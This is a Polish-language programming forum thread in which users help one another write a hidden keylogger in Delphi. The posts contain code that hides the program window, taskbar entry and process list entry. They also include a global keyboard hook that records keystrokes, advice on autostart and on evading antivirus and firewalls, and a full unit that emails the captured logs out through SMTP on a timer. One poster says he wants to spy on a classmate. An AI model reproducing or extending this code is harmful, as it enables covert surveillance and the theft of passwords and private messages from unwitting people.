-
[DELPHI] Keylogger
Chcialbym napisac w delphi keyloggera. Mam takie problemy:
1. Co zrobic zeby dzialanie programu bylo ukryte? (tzn. zeby nie bylo widac okienka aplikacji)
2. Jak monitorowac to co ktos napisze na klawiaturze?
3. Jak wszystko wyslac potem na maila albo gg?
4. Czy c++ albo cos innego nie nadaje sie lepiej do pisania keyloggerow itp?
-
Owszem... C/C++ sa dobre, warto pomyslec o takim starociu jak Assembler (stary ale ciagle nie do przebicia) i napisac w nim program rezydentny (TSR - ang. Terminate and Stay Resident - o ile pamietam)... no trzeba nieco wiedzy na temat tego jak obslugiwana jest klawiatura w sprzecie klasy PC (podpowiem ze jest to przerwanie sprzetowe i wtedy robisz odczyt bufora), do tego pozniej jak ukry keylogger przed programem antywirusowym... a na sam koniec zaimplementowac jakis sposob komunikacji (mail bedzie prostszy niz GG) ale jeszcze ukryc to przed firewall'em :-)
Trzymam kciuki!
P.S.
Programy rezydentne sa zamykane w momencie zakonczenia sesji DOS (cmd.exe) w windows 2000 i XP, wiec na tych systemach musisz szukac innej drogi :-)
-
witam, służę pomocą w miarę możliwości ;)
1. Musisz zastanowić się nad całkowitym ukryciem programu w systemie. Wypadałoby wyłączyć formę, usunąć program z paska zadań, wyłączyć aplikację z listy Ctrl+Alt+Del:
a) formę można zrobić niewidoczną, najlepiej BorderStyle=bsNone, width=1, height=1 (nie ustawisz tego w objektorze, więc najlepiej ustaw w kodzie na OnCreate formy), a do tego ustaw left i top na 0 - wtedy forma będzie widoczna ale bardzo mała i ciężka do znalezienia... potem może pobawić się w ukrywanie i tak dalej (wiem że to lamerski sposób :P) Potem opiszę jak to zrobić trochę lepiej, tymczasowo nie mam swoich źródeł...
b) Usunąć program z paska zadań musisz, zanim zostaną wyświetlony formy, więc dajesz w źródle (Project/View source):
Kod:
var
Ex : Integer;
begin
Application.Initialize;
Ex:=GetWindowLong(Application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle,GWL_EXSTYLE,
Ex or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
c) wyłączanie aplikacji z listy Ctrl=Alt+Del. W sekcji Interface programu dodaj linię
Kod:
function RegisterServiceProcess(dwProcessId,dwType:dword):
Integer;stdcall;external 'kernel32.dll';
, potem w kodzie na OnCreate wpisz
Kod:
RegisterServiceProcess(GetCurrentProcessID, 1);
<- p.s. nie zadziała to w Windowsie 2000 i XP, więc z tym będzie trzeba jakoś pokombinować :P
2) Monitorowanie wciśniętych klawiszy, czyli cały "silnik" keyloggera. Tutaj możesz pójść na łatwiznę używając gotowego komponentu (np. KeySpyXP), albo napisać samemu unit do zakładaniu hooka i przechwytywaniu klawiszy:
Poczytaj tutaj o zakładaniu hooka oraz obsłudze komunikatów: >> http://4programmers.net/Delphi/Kompe...ozdzia%C5%82_5
albo na skóty - użyj tego ;)
Kod:
var
Hook:Integer;
MessageBuffer:TEventMsg;
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer := PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
Memo1.Text := Memo1.Text + chr(MessageBuffer.paraml);
Result := 0;
end;
end;
else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook);
end;
3) Do wysłania danych przez GG musisz poczytać trochę o protokołach GG, albo pójść na łatwiznę i użyć gotowego komponentu: trochę tego jest w necie więc życzę powodzenia. Do wysłania via e-mail polecam pakiet INDY: >> http://4programmers.net/Delphi/Indy#id-SMTP
4) Do KeySpy'a poleciłbym ASM'a (chociaż trudny) a widzę że kolego to raczej początkujący w Delphi... Miłej zabawy. Pozdrawiam
P.S. Warto by pomyśleć o dodawaniu programu do rejestru (autostart), szyfrowaniu logów i zapisywaniu ich datami ;) Na początek powinno wystarczyć.
-
Keyyloger
Siema wam własnie sciagnolem keyylogera programek dziala spoko. Da sie zrobić tak zebym widzial kto cos pisze na innym kompie jak ma zainstalowany programik jak sie to robi ??
-
może byś podał więcej szczegółów, albo poszukaj dokumentacji do tego programu.
-
OK to mój kumpel z klasy moge postrac sie o email ip i gg nie wiem czy to cos da :D jak cos to wes napisz do mnie na gg 4605252;)
-
cooltrayicon
THGG
KeySpyXP
-
Witam mam problem z keyloggerem jestem laik w tych sprawach zrobilem wszystko tak jak opisywano na forach mimo to i tak mam blad... odpalilem keyloggera u siebie dla testow wszystko ładnie działa tylko gdy przychodzi czas na wyslanie logow na email wyskakuje błąd ..."adres emaila nie nalezy do uzytkownika"
kod wyglada mniej wiecej tak:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient,
IdSMTP, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdMessage,
CoolTrayIcon, KeySpyXP, ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
KeySpyXP1: TKeySpyXP;
CoolTrayIcon1: TCoolTrayIcon;
IdMessage1: TIdMessage;
IdAntiFreeze1: TIdAntiFreeze;
IdSMTP1: TIdSMTP;
procedure Timer1Timer(Sender: TObject);
procedure KeySpyXP1Key(Sender: TObject; key: String);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
begin
IdMessage1.Body.Append(memo1.Text);
IdMessage1.Recipients.EMailAddresses := '[email protected]';
IdMessage1.Subject := 'Keylogger';
idSMTP1.Password := 'halso_do_Maila';
idSMTP1.Username := '[email protected]';
idSMTP1.Host := 'poczta.interia.pl';
idSMTP1.AuthenticationType:=atLogin;
IdSMTP1.Connect;
try
IdSMTP1.Send(IdMessage1);
finally
IdSMTP1.Disconnect;
end;
end;
procedure TForm1.KeySpyXP1Key(Sender: TObject; key: String);
begin
if key[1]='{' then
memo1.lines.add(key) else
memo1.Text:=memo1.text+key;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
end;
end.
Proszę o pomoc :)
-
Polecam używać KEYSCRAMBLER - to właśnie przeciw takim cwaniaczkom, szyfrowanie w locie xD